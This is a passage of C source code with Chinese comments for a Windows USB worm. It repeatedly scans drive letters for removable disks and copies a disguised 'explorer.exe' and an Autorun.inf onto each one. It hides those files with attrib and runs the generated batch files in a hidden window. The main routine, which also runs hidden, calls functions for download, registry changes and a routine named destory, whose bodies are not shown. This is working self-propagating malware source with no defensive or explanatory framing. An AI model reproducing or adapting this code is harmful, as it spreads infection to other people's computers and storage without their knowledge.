f,"\n");
fprintf(f,"attrib +h %c:\\Autorun.inf",drive[0]);
fprintf(f,"\n");
fprintf(f,"attrib +h %c:\\explorer.exe",drive[0]);
fprintf(f,"\n");
fprintf(f,"del drive.bat");
fclose(f);
WinExec("drive.bat",SW_HIDE);
Sleep(500);
//return true;
}
drive[0]++;
}
}
bool Checkdisk()//扫描是否有移动盘
{
char usb[4]={0};
wsprintf(usb,"C:\0");//很重要
usb[0]='C';
while(usb[0]<='Z')
{
if(GetDriveType(usb)==DRIVE_REMOVABLE)
{
FILE *f;
f=fopen("usb1.bat","w=");
fprintf(f,"copy C:\\progra~1\\Messenger\\explorer.exe %c:\\explorer.exe",usb[0]);
fprintf(f,"\n");
fprintf(f,"copy C:\\progra~1\\Messenger\\Autorun.inf %c:\\Autorun.inf",usb[0]);
fprintf(f,"\n");
fprintf(f,"attrib +h %c:\\Autorun.inf",usb[0]);
fprintf(f,"\n");
fprintf(f,"attrib +h %c:\\explorer.exe",usb[0]);
fprintf(f,"\n");
fprintf(f,"del usb1.bat");
fclose(f);
WinExec("usb1.bat",SW_HIDE);
return true;
}
usb[0]++;
}
// }
return false;
}
void Scandisk()//定时检测是否有移动盘
{
while(!Checkdisk())
{
Sleep(4000);//扫描后停止4秒
}
}
void EntryPoint()
{
ExitProcess(WinMain(GetModuleHandle(NULL), NULL, GetCommandLine(), SW_HIDE));
}
//主函数
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
down();
getname();
reg();
drive();
Checkdisk();
Scandisk();
destory();
return 0;
}